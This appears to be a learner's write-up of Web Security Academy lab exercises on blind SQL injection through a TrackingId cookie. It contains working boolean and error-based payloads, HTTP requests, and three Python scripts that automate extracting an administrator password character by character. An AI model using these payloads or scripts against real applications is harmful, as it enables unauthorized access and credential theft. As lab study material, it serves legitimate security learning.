Blind SQLi is when the application is vulnerable but HTTP responses don’t return query results or error details — making UNION attacks ineffective since there’s nothing to read back.
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
The app shows a “Welcome back” message if the query returns results — nothing otherwise. That single boolean difference is enough to extract data.Injecting two conditions back to back:
xyz' AND '1'='1 ← true → "Welcome back" shownxyz' AND '1'='2 ← false → "Welcome back" gone
This lets you ask yes/no questions against the database and infer data one bit at a time.
In this lab, I exploited a blind SQL injection vulnerability in the TrackingId cookie to extract the administrator password character by character.The application returned a different response when the injected condition evaluated to true, which allowed boolean-based extraction.
GET / HTTP/2Host: 0adc00e4030450ba84de4c2e00db005d.web-security-academy.netCookie: TrackingId=fFLn3TqBCmm6fOZe' AND SUBSTR((SELECT password FROM users WHERE username = 'administrator'), 1, 21) = 'ewlza94ll9bheae3vstzm'-- ; session=phcqNI4KVhQcLxvjczOHuCFq30LseaYV
The injection works because the backend query likely looks like:
Sometimes a query runs, but the page looks the same whether your condition is
true or false. In that case, normal boolean response checks do not help.The workaround is to make the database throw an error only when a condition is
true. Then you infer truth from a response difference (500 error, different
page length, missing content, etc.).
xyz' AND ( SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
One-liner (Burp-friendly):
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
If the request now errors, the condition is true. If it does not, the condition
is false. Repeat this per character and position to recover the full value.
import requestsurl = "https://0ab600ed03fa738380f00da500d200c4.web-security-academy.net/"chars = list('abcdefghijklmnopqrstuvwxyz0123456789')password = ""switch = Truecounter = 1while switch: switch = False for i in range(0, len(chars)): payload = f"dtzF9IcZvrKHYyez' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{counter},1)='{chars[i]}') || '" headers = {'Cookie' : f'TrackingId={payload}; session=7lX1aOCANa2tHPmFi5uwxzYV8CQVaxtC'} r = requests.get(url, headers=headers) print(r.status_code) if r.status_code == 500: password = password + chars[i] switch = True counter += 1print(password)
2) My Version (AI Improved)
import requestsurl = "https://0a3f0090039da8e28008128b001700f6.web-security-academy.net/"chars = '0123456789abcdefghijklmnopqrstuvwxyz' # ASCII ordersession = requests.Session()TRACKING_ID = "1ZQg7u4x2pUganpD"SESSION_COOKIE = "Mbce8cZSOv2mUbykvP8EK2UY2WGgkU24"def check_greater_than(position, char): """Check if character at position is greater than char""" payload = f"{TRACKING_ID}' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{position},1)>'{char}') || '" headers = {'Cookie': f'TrackingId={payload}; session={SESSION_COOKIE}'} r = session.get(url, headers=headers, timeout=10) return r.status_code == 500def char_exists_at_position(position, char): """Verify the character actually equals what we found""" payload = f"{TRACKING_ID}' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{position},1)='{char}') || '" headers = {'Cookie': f'TrackingId={payload}; session={SESSION_COOKIE}'} r = session.get(url, headers=headers, timeout=10) return r.status_code == 500def find_char_at_position(position): """Binary search to find character at given position""" low, high = 0, len(chars) - 1 while low < high: mid = (low + high) // 2 if check_greater_than(position, chars[mid]): low = mid + 1 else: high = mid return chars[low]# Main extraction looppassword = ""position = 1while True: char = find_char_at_position(position) # Verify this character actually exists if not char_exists_at_position(position, char): break password += char print(f"[+] Position {position}: {char} | Password: {password}") position += 1print(f"\n[✓] Final password: {password}")
3) Tutorial Version
import sysimport requestsimport urllib3import urllib.parseurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}def sqli_password(url): password_extracted = "" for i in range(1,21): for j in range(32,126): sqli_payload = "' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and ascii(substr(password,%s,1))='%s') || '" % (i,j) sqli_payload_encoded = urllib.parse.quote(sqli_payload) cookies = {'TrackingId': 'FGDUewi6MoAn18KJ' + sqli_payload_encoded, 'session': 'VdmCjrlz6I6zAXGXEp2u32p0OXKDGhm2'} r = requests.get(url, cookies=cookies, verify=False, proxies=proxies) if r.status_code == 500: password_extracted += chr(j) sys.stdout.write('\r' + password_extracted) sys.stdout.flush() break else: sys.stdout.write('\r' + password_extracted + chr(j)) sys.stdout.flush()def main(): if len(sys.argv) !=2: print("(+) Usage: %s <url>" % sys.argv[0]) print("(+) Example: %s www.example.com" % sys.argv[0]) sys.exit(-1) url = sys.argv[1] print("(+) Retreiving administrator password...") sqli_password(url)if __name__ == "__main__": main()
Some applications expose raw database errors when input breaks a query. This is
often a misconfiguration, and it can reveal exactly how your payload is being
embedded.Example after injecting a single quote into an id parameter:
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
What this tells you:
You are inside a single-quoted string.
The injection point is in a WHERE clause.
You likely need to close the quote and comment out the tail to keep syntax
valid.
This can turn an otherwise blind issue into a visible one if the app reflects
database error details back to you.
Mistake: I kept the original tracking ID prefix (GA9UUdl1nUvjSjgU) before the injection.
Result: payload was too long and got cut mid-query.
Seen as: ... FROM users WHE'. Expected char
Fix: remove the original value and start directly with ' to save space.
Mistake: I used the longer filter payload first:
TrackingId=GA9UUdl1nUvjSjgU' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)--
Result: truncation before WHERE finished.
Fix: start with shorter extraction (LIMIT 1) to validate the technique, then refine if needed.
Mistake: forgetting to neutralize the trailing quote from the original query.
Fix: close the string and end with -- so the rest of the server query is ignored.
End goal: exploit SQLi in TrackingId, leak admin credentials from users, and
log in as administrator.Observed backend pattern after quote testing:
select trackingId from trackingIdTable where trackingId='pFNjoVuG3fnTFJ3a''SELECT * FROM tracking WHERE id = 'pFNjoVuG3fnTFJ3a'--'. Expected char
Payload progression I used:
pFNjoVuG3fnTFJ3a' AND CAST((SELECT 1) as int)--' AND 1=CAST((SELECT username from users LIMIT 1) as int)--' AND 1=CAST((SELECT password from users LIMIT 1) as int)--
Recovered password in this run:
fc9v2vqq5gozv1cb0ibj
Quick validation logic:
If payload is malformed/truncated, you get unterminated string errors.
If CAST forces string -> int conversion, the DB error leaks the selected value.
Once password is leaked, authenticate as administrator to solve the lab.
This error text is easy to misread. It usually means your payload was truncated,
which left an unclosed string.What a string literal means here:
A string literal is plain text wrapped in single quotes in SQL, like 'admin'.
In this query, the cookie value is placed inside a string literal:
WHERE id = '<cookie value>'
If your injection adds or breaks ' quotes incorrectly, SQL thinks the text
string started but never finished.
Example error:
Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'GA9UUdl1nUvjSjgU' AND 1=CAST((SELECT password FROM users WHE'. Expected char
What is happening:
Input was cut around position 95 (cookie length/validation limit).
WHERE was truncated to WHE.
Truncation left a dangling '.
SQL parser sees a started string literal with no closing quote.
What Expected char actually means:
Not “I need a specific character”.
It means: “string literal started, but input ended before completion”.
Visual:
Full payload:' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)--Server received (truncated):' AND 1=CAST((SELECT password FROM users WHE'
Fix: shorten the payload to fit the limit.
'AND CAST((SELECT password FROM users LIMIT 1)AS int)=1--
This removes unnecessary spaces and avoids wasting characters on the original
tracking ID prefix.